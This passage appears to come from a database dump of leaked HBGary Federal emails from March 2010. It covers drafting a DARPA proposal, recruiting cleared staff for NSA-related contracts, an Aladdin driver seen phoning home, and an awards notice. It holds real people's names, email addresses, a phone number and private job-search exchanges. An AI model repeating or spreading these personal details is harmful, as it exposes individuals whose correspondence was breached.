Palantir?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIll\r\nlet him pick up the thread from here, you should see an email from him with a\r\ndescription of what we&#8217;re looking for sometime today.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5262,'aaron_hbgary_com/5262.html'),(4317,'2010-03-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002320.M845609P3547Q4317.eml','\"Aaron Barr\" <aaron@hbgary.com>','template','Tech/Mgmt Template attached.\r\n\r\n',9831,'aaron_hbgary_com/9831.html'),(4318,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002321.M247668P3547Q4319.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Take a look','In cloud\r\n\r\n From my iPhone\r\n\r\nOn Mar 22, 2010, at 1:11 AM, Ted Vera  wrote:\r\n\r\n> On 3/21/10 3:32 PM, Aaron Barr wrote:\r\n>> When you get a second take a look at the detailed technical\r\n>> approach.  Just want your thoughts.  I have taken out any\r\n>> references to schedule in this document because it seems we will\r\n>> have that in other places.  I was going to put a small table in\r\n>> each one that contained phase1: blah, etc.\r\n>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n> You didn\'t attach it?\r\n',13955,'aaron_hbgary_com/13955.html'),(4319,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002321.M432159P3547Q4320.eml','\"Ted Vera\" <ted@hbgary.com>','Re: template','tks.  changing over now.\r\n\r\nOn Mar 22, 2010, at 12:53 AM, Ted Vera wrote:\r\n\r\n> Tech/Mgmt Template attached.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15306,'aaron_hbgary_com/15306.html'),(4320,'2010-03-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002321.M61095P3547Q4318.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Take a look','On 3/21/10 3:32 PM, Aaron Barr wrote:\r\n> When you get a second take a look at the detailed technical approach.  Just want your thoughts.  I have taken out any references to schedule in this document because it seems we will have that in other places.  I was going to put a small table in each one that contained phase1: blah, etc.\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\nYou didn\'t attach it?\r\n',12681,'aaron_hbgary_com/12681.html'),(4321,'2010-03-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002321.M689343P3547Q4321.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Past work section of proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nIs it risky saying that HBGary and Pikewerks already can already\r\nharvest scads of low level binary and memory data?&nbsp; It is certainly true, but I\r\nwonder if DARPA might ding us for having already completed too much of the work.&nbsp;\r\n(Seems weird I&#8217;d be asking this&#8230;..We have to do a great job describing the big\r\nmountain of research that STILL needs to be done.)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Sunday, March 21, 2010 8:53 PM\r\nTo: Bob Slapnik\r\nSubject: Re: Past work section of proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI like what you put together. &nbsp;I believe we will be\r\ngetting the contacts, cost schedule, risk information from GD as the Subs are\r\nthe same and I believe they submitted the same data.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAAron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 21, 2010, at 8:00 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nand Ted,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis my stab at the past work section.&nbsp; Still need some content from GD and\r\nSRI for the table.&nbsp; I am concerned that a big part of the proposal is\r\nBayesian Reasoning and we really don&#8217;t cite any past work in this area.&nbsp;\r\nHBGary can cite Bayesian work within a past contract, but it was done by SAIC\r\nnot us.&nbsp; And in the work you have the Bayesian Reasoning being done by HBG\r\nFed and Pikewerks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLook\r\nover the order of the past work in the chart.&nbsp; You might want to put it in\r\na different order.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Proposal\r\nPast Work.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/21/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1210,'aaron_hbgary_com/1210.html'),(4322,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002322.M49566P3547Q4322.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Past work section of proposal','No I think that is fine. &nbsp;As you have pointed out, we don\'t really do anything with it. &nbsp;The fact that we have developed mechanisms to collect now means we, unlike others, can focus on the real challenge and crux of this project. &nbsp;What does it mean? &nbsp;How can I define/categorize in a repeatable manner that tells me something about malware.I think its a very good thing.On Mar 22, 2010, at 8:36 AM, Bob Slapnik wrote:Aaron,&nbsp;Is it risky saying that HBGary and Pikewerks already can already harvest scads of low level binary and memory data?&nbsp; It is certainly true, but I wonder if DARPA might ding us for having already completed too much of the work.&nbsp; (Seems weird I’d be asking this…..We have to do a great job describing the big mountain of research that STILL needs to be done.)&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Sunday, March 21, 2010 8:53 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: Past work section of proposal&nbsp;I like what you put together. &nbsp;I believe we will be getting the contacts, cost schedule, risk information from GD as the Subs are the same and I believe they submitted the same data.&nbsp;AAron&nbsp;On Mar 21, 2010, at 8:00 PM, Bob Slapnik wrote:Aaron and Ted,&nbsp;Here is my stab at the past work section.&nbsp; Still need some content from GD and SRI for the table.&nbsp; I am concerned that a big part of the proposal is Bayesian Reasoning and we really don’t cite any past work in this area.&nbsp; HBGary can cite Bayesian work within a past contract, but it was done by SAIC not us.&nbsp; And in the work you have the Bayesian Reasoning being done by HBG Fed and Pikewerks.&nbsp;Look over the order of the past work in the chart.&nbsp; You might want to put it in a different order.&nbsp;Bob&nbsp;&lt;Proposal Past Work.docx&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/21/10 03:33:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4267,'aaron_hbgary_com/4267.html'),(4323,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002328.M862572P3547Q4323.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Deliverables Section','Bob,\r\n\r\nNext assignment.  Can you take the deliverables section and work the technology transition and IP related material into a cogent story.\r\n\r\nWe are now working in word document form so for now please stick to that section.  Once I have this document a little cleaner I will send it out for pink team review this afternoon with track changes on.\r\n\r\n',11404,'aaron_hbgary_com/11404.html'),(4324,'2010-03-22','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297002329.M949768P3547Q4324.eml','aaron@hbgary.com','RE: NANA','\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nUnfortunately I am unable to alter my timetable due to the commitments I have made to potential employers as well as myself.\r\n&nbsp;\r\nI want to thank you for the opportunity to learn more about your new organization and its future direction.&nbsp; I think your solutions will sell themselves and it\'s only a matter of time before you become entrenched within&nbsp;federal spaces.\r\n&nbsp;\r\nThe SCI world is rather small and&nbsp;change is always present, so I wish you the best of luck and maybe our paths will cross again one day.\r\n&nbsp;\r\nThanks,\r\nChris&nbsp;\r\n\r\nFrom: aaron@hbgary.comDate: Sat, 20 Mar 2010 09:41:34 -0400Subject: Re: NANATo: chris_hummel@hotmail.com\r\nNANA award postponed until the 31st of March. &nbsp;We had a great meeting with the NSA ANO folks, it sounds like they want to bring on a few analysts to run some of our software. &nbsp;A few other customers reached out this week and want to talk about DDNA seriously, one is NSA the other is in NoVa. &nbsp;We will find out about our DARPA work in April.\r\n\r\nI am being longwinded to say that I would like to bring you on when these positions drop. &nbsp;And I am confident we are going to have some openings in April, possibly early April with NANA. &nbsp;But I don\'t have anything until then.\r\n\r\nNot sure if you have any more flexibility in your runway but if you do I would like you to consider holding out a little longer for one of these positions.\r\n\r\nThoughts?\r\n\r\nAaron &nbsp;From my iPhone\r\nOn Mar 20, 2010, at 7:43 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nHi Aaron,&nbsp;Just wanted to drop you a line and see how things are going.&nbsp; You had&nbsp;mentioned&nbsp;you had a few meetings lined up and that could potentially shine the light on available opportunities.&nbsp;Thanks,Chris&nbsp;&gt; From: aaron@hbgary.com&gt; Subject: NANA&gt; Date: Fri, 12 Mar 2010 17:04:42 -0500&gt; To: chris_hummel@hotmail.com&gt; &gt; Chris,&gt; &gt; Do you know anything about the NANA contract?&gt; &gt; This could be another opportunity to get you in with your clearances, its an NSA cyber threat and analysis center. If SAIC wins I have an opportunity to staff. Also I am having lunch with the person next week that had the few malware analysis positions open and will be taking your resume.&gt; &gt; Have a good weekend.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt; &gt; &gt; \r\n\r\nHotmail has tools for the New Busy. Search, chat and e-mail from your inbox. Learn More.  		 	   		  Hotmail: Trusted email with Microsoft’s powerful SPAM protection. Sign up now.\r\n',13147,'aaron_hbgary_com/13147.html'),(4325,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002330.M214767P3547Q4325.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Re: NANA','I understand, and I am disappointed I could not move faster. &nbsp;Thank you for your time, and best of luck to you in your new career path.Sincerely,AaronOn Mar 22, 2010, at 8:54 AM, Chris Hummel wrote:Aaron,&nbsp;Unfortunately I am unable to alter my timetable due to the commitments I have made to potential employers as well as myself.&nbsp;I want to thank you for the opportunity to learn more about your new organization and its future direction.&nbsp; I think your solutions will sell themselves and it\'s only a matter of time before you become entrenched within&nbsp;federal spaces.&nbsp;The SCI world is rather small and&nbsp;change is always present, so I wish you the best of luck and maybe our paths will cross again one day.&nbsp;Thanks,Chris&nbsp;From:&nbsp;aaron@hbgary.comDate: Sat, 20 Mar 2010 09:41:34 -0400Subject: Re: NANATo:&nbsp;chris_hummel@hotmail.comNANA award postponed until the 31st of March. &nbsp;We had a great meeting with the NSA ANO folks, it sounds like they want to bring on a few analysts to run some of our software. &nbsp;A few other customers reached out this week and want to talk about DDNA seriously, one is NSA the other is in NoVa. &nbsp;We will find out about our DARPA work in April.I am being longwinded to say that I would like to bring you on when these positions drop. &nbsp;And I am confident we are going to have some openings in April, possibly early April with NANA. &nbsp;But I don\'t have anything until then.Not sure if you have any more flexibility in your runway but if you do I would like you to consider holding out a little longer for one of these positions.Thoughts?Aaron &nbsp;From my iPhoneOn Mar 20, 2010, at 7:43 AM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:Hi Aaron,&nbsp;Just wanted to drop you a line and see how things are going.&nbsp; You had&nbsp;mentioned&nbsp;you had a few meetings lined up and that could potentially shine the light on available opportunities.&nbsp;Thanks,Chris&nbsp;&gt; From:&nbsp;aaron@hbgary.com&gt; Subject: NANA&gt; Date: Fri, 12 Mar 2010 17:04:42 -0500&gt; To:&nbsp;chris_hummel@hotmail.com&gt;&nbsp;&gt; Chris,&gt;&nbsp;&gt; Do you know anything about the NANA contract?&gt;&nbsp;&gt; This could be another opportunity to get you in with your clearances, its an NSA cyber threat and analysis center. If SAIC wins I have an opportunity to staff. Also I am having lunch with the person next week that had the few malware analysis positions open and will be taking your resume.&gt;&nbsp;&gt; Have a good weekend.&gt;&nbsp;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&nbsp;&gt;&nbsp;&gt;&nbsp;Hotmail has tools for the New Busy. Search, chat and e-mail from your inbox.&nbsp;Learn More.Hotmail: Trusted email with Microsoft’s powerful SPAM protection.&nbsp;Sign up now.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8455,'aaron_hbgary_com/8455.html'),(4326,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002330.M484607P3547Q4326.eml','\"Penny Leavy\" <penny@hbgary.com>','List of Names','Hi Penny,\r\n\r\nNot a huge rush, but if Martin does have some folks that might fit into our organization I would like to start a dialogue before some of these contracts hit.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5485,'aaron_hbgary_com/5485.html'),(4327,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002333.M647456P3547Q4327.eml','\"Ted Vera\" <ted@hbgary.com>','Call me when ur ready.','Here is the document so far...I am cleaning it up.\r\n\r\n',4886,'aaron_hbgary_com/4886.html'),(4328,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002336.M870136P3547Q4328.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','Messy Document','Chris/Jason,\r\n\r\nAttached is the document put together.  Lots of holes, mostly in cost and schedule, teds working on those.  The document needs a lot of clean up and I need to transition some data into tables to save some space which I am working on.  But I wanted to give you an ugly look at it so far.  I expect this will take all week.\r\n\r\n',10213,'aaron_hbgary_com/10213.html'),(4329,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002342.M539793P3547Q4329.eml','\"Bob Slapnik\" <bob@hbgary.com>','Deliverables and IP','Bob,\r\n\r\ntake a look at the updated deliverables section.\r\n\r\n',5060,'aaron_hbgary_com/5060.html'),(4330,'2010-03-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002346.M379709P3547Q4331.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Deliverables and IP','Aaron,\r\n\r\nI may rip out the SBIR Rights language. I am waiting to see what GD\'s\r\nattorney comes back with.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 22, 2010 9:43 AM\r\nTo: Bob Slapnik\r\nSubject: Deliverables and IP\r\n\r\nBob,\r\n\r\ntake a look at the updated deliverables section.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/22/10\r\n03:33:00\r\n\r\n',15565,'aaron_hbgary_com/15565.html'),(4331,'2010-03-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002346.M624716P3547Q4332.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Deliverables and IP','The Commercialization section should be updated to expand the story to\r\ninclude all subs, not just HBGary.  For instance we might include how we\r\nwill roll contributions from the other subs into a unified commercial\r\noffering on a co-licensing and resell basis.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 22, 2010 9:43 AM\r\nTo: Bob Slapnik\r\nSubject: Deliverables and IP\r\n\r\nBob,\r\n\r\ntake a look at the updated deliverables section.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/22/10\r\n03:33:00\r\n\r\n',12791,'aaron_hbgary_com/12791.html'),(4332,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002346.M62544P3547Q4330.eml','\"Ted Vera\" <ted@hbgary.com>','updated doc','\r\n\r\non phone...be off in a sec.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4768,'aaron_hbgary_com/4768.html'),(4333,'2010-03-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002358.M541299P3547Q4333.eml','all@hbgary.com','Aladdin driver makes network connections','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nPhil Geneste of Booz told me he\r\nhas seen the Aladdin driver broadcast over port 1947 and &#8220;phone home&#8221; back to\r\nAladdin.&nbsp; He said it is not the HBGary software &#8211; it is the new driver from\r\nAladdin.&nbsp; Clearly, our security customers don&#8217;t like this.\r\n\r\n&nbsp;\r\n\r\nBelow he has sent me some other\r\ninfo and attached their user guide (not sure why).\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Geneste, Philip\r\n[USA] [mailto:geneste_philip@bah.com] \r\nSent: Monday, March 22, 2010 10:30 AM\r\nTo: Bob Slapnik\r\nSubject: RE: Justin Acquaro\'s contact info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\nJust a note, the Hasp LMS has it\'s own browser try it on your own\r\nsystem, below is from my system. Just type http://localhost:1947\r\n\r\nI will look into this more but here is a HASP SRM Guide I found.\r\n\r\nI will review more when I have more time.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2749 - Release Date: 03/22/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12347,'aaron_hbgary_com/12347.html'),(4334,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002362.M375281P3547Q4334.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','ok I downloaded word...too many formatting issues','Attached is my working copy, turning a lot of data into tables...needs work but all the information is there except costing and schedule which Ted is working on.\r\n\r\nAaron\r\n',104,'aaron_hbgary_com/104.html'),(4335,'2010-03-22','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297002363.M551796P3547Q4335.eml','\"Aaron Barr\" <aaron@hbgary.com>','[Fwd: List of people]','\r\n',2383,'aaron_hbgary_com/2383.html'),(4336,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002363.M830223P3547Q4336.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','Re: [Fwd: List of people]','Thanks Martin. &nbsp;I think we will have a few contracts open up in April that will require some top people.We are looking for all ranges of people. &nbsp;The NANA contract will accept junior-senior folks, cleared at NSA. &nbsp;There are a few others that will likely require more senior cleared folks or clearable folks.AaronOn Mar 22, 2010, at 12:58 PM, Martin Pillion wrote:From: Martin Pillion &lt;martin@hbgary.com&gt;Date: March 15, 2010 7:06:57 PM EDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: List of peoplePenny asked about the list of potential hires that I sent, but I can\'tseem to find the email... so either I forgot to send it or I sent it tothe wrong person or somthing like that... anyway, what skilllevel/position/salary range are we looking for? &nbsp;I\'ll put together alist of people I know who would fit...- Martin\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14340,'aaron_hbgary_com/14340.html'),(4337,'2010-03-22','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297002364.M104020P3547Q4337.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: [Fwd: List of people]','\r\nok, what kind of skill set?  And I assume this is for a Fort Meade area\r\nbased position?\r\n\r\nDo you need driver/rootkit writers?\r\nDo you need reverse engineers?\r\nDo you need application programmers?\r\nAny particular expertise?  AI, database, web-based, fpga, etc?\r\nMost of the people I know are in the 120k+ salary range already, so we\r\nwould need to offer more than that to lure them away.\r\n\r\nWhat about management types?  Project managers, technical directors, etc?\r\n\r\n- Martin\r\n\r\nAaron Barr wrote:\r\n> Thanks Martin.  I think we will have a few contracts open up in April that will require some top people.\r\n>\r\n> We are looking for all ranges of people.  The NANA contract will accept junior-senior folks, cleared at NSA.  There are a few others that will likely require more senior cleared folks or clearable folks.\r\n>\r\n> Aaron\r\n>\r\n> On Mar 22, 2010, at 12:58 PM, Martin Pillion wrote:\r\n>\r\n>   \r\n>> From: Martin Pillion \r\n>> Date: March 15, 2010 7:06:57 PM EDT\r\n>> To: Ted Vera \r\n>> Subject: List of people\r\n>>\r\n>>\r\n>>\r\n>> Penny asked about the list of potential hires that I sent, but I can\'t\r\n>> seem to find the email... so either I forgot to send it or I sent it to\r\n>> the wrong person or somthing like that... anyway, what skill\r\n>> level/position/salary range are we looking for?  I\'ll put together a\r\n>> list of people I know who would fit...\r\n>>\r\n>> - Martin\r\n>>\r\n>>\r\n>>\r\n>>     \r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n>   \r\n\r\n',12401,'aaron_hbgary_com/12401.html'),(4338,'2010-03-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002370.M224049P3547Q4338.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Plan for the Week','Bob,\r\n\r\nOk things are starting to come together...typical of proposals right.\r\n\r\nA few things I would ask of you this week if you have the time, let me know if you don\'t.  I would like you to take the lead on completing \r\n\r\nSection 2.B Deliverables\r\nSection 3.B Description of Results\r\nSection 3.F Previous Accomplishments\r\n\r\nYou have pretty much already completed 2.B and 3.F.  3.B right now is empty but seems like you would be a good person to talk about technology transfer, at least to start.\r\n\r\n',15086,'aaron_hbgary_com/15086.html'),(4339,'2010-03-22','\"AFCEA NOVA Membership Committee\" <events@afceanova.org>','/aaron@hbgary.com/new/1297002370.M657815P3547Q4339.eml','aaron@hbgary.com','Accepting Nominations for AFCEA International Intelligence Awards - Please submit by Mar 24, 5pm','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Dear \r\n        Chapter Members,\r\n      Each year AFCEA International \r\n        awards special recognition to members of the intelligence community who \r\n        are making significant contributions. The two awards are:\r\n      AFCEA \r\n        CHARLIE ALLEN AWARD FOR INTELLIGENCE SERVICE\r\n      Description:\r\n        This AFCEA award honors senior level intelligence professionals who are \r\n        making significant contributions.\r\n      Criteria:\r\n        Candidates for this award must demonstrate a long and distinguished record \r\n        of significant accomplishments and senior leadership in support of the \r\n        Intelligence Community at the national and/or international level. The \r\n        nomination must describe the candidate\'s professional record, detailing \r\n        significant accomplishments in the intelligence arena. Where applicable, \r\n        highlight the nominee\'s contributions to the AFCEA Intelligence program, \r\n        whether at the chapter or international level.\r\n      AFCEA \r\n        INTELLIGENCE MERITORIUS SERVICE AWARD\r\n      Description:\r\n        This AFCEA award honors intelligence professionals who are making significant \r\n        contributions at the tactical, intermediate, or national levels.\r\n      Criteria:\r\n        Candidates for this award may be at any stage in their intelligence career. \r\n        They must demonstrate a track record of accomplishments in the intelligence \r\n        arena and a professionalism that serves as an inspiration for others. \r\n        The nomination must document the candidate\'s specific intelligence accomplishments. \r\n        Where applicable, highlight the nominee\'s contributions to the AFCEA Intelligence \r\n        program, whether at the chapter or international level.\r\n      AFCEA \r\n        NOVA\' CHAPTER SUBMISSION - NOMINATE YOUR FELLOW MEMBERS\r\n      The NOVA \r\n        Chapter plans to submit, from our affiliated membership, one nominee for \r\n        the AFCEA Charlie Allen Award for Intelligence Service, and two nominees \r\n        for the AFCEA Intelligence Meritorious Service Award.\r\n      These submissions \r\n        will carry the endorsement of the Chapter and the nomination by the Chapter \r\n        President. If you are interested in nominating individuals for chapter \r\n        endorsement please submit the following to me at novamembership@afceanova.org \r\n        by Wednesday, Mar 24, 2010, 5pm.\r\n      Please note the nominee \r\n        must be affiliated with the AFCEA NOVA Chapter to be eligible for the \r\n        endorsement.\r\n      Affiliation \r\n        can be verified/changed using the member portal: https://www.afcea.org/portal/ \r\n        \r\n      Nominee Name\r\n        Nominee Rank/Title\r\n        Nominee Position\r\n        Nominee Organization\r\n        Nominee Phone\r\n        Nominee email\r\n        Nominee address\r\n        Nominee AFCEA membership number\r\n        Justification (see criteria above; limit to 500 words).\r\n      We will assess the \r\n        nominations and select the three for Chapter endorsement. You will be \r\n        notified of the status of the selection and if not endorsed by the Chapter \r\n        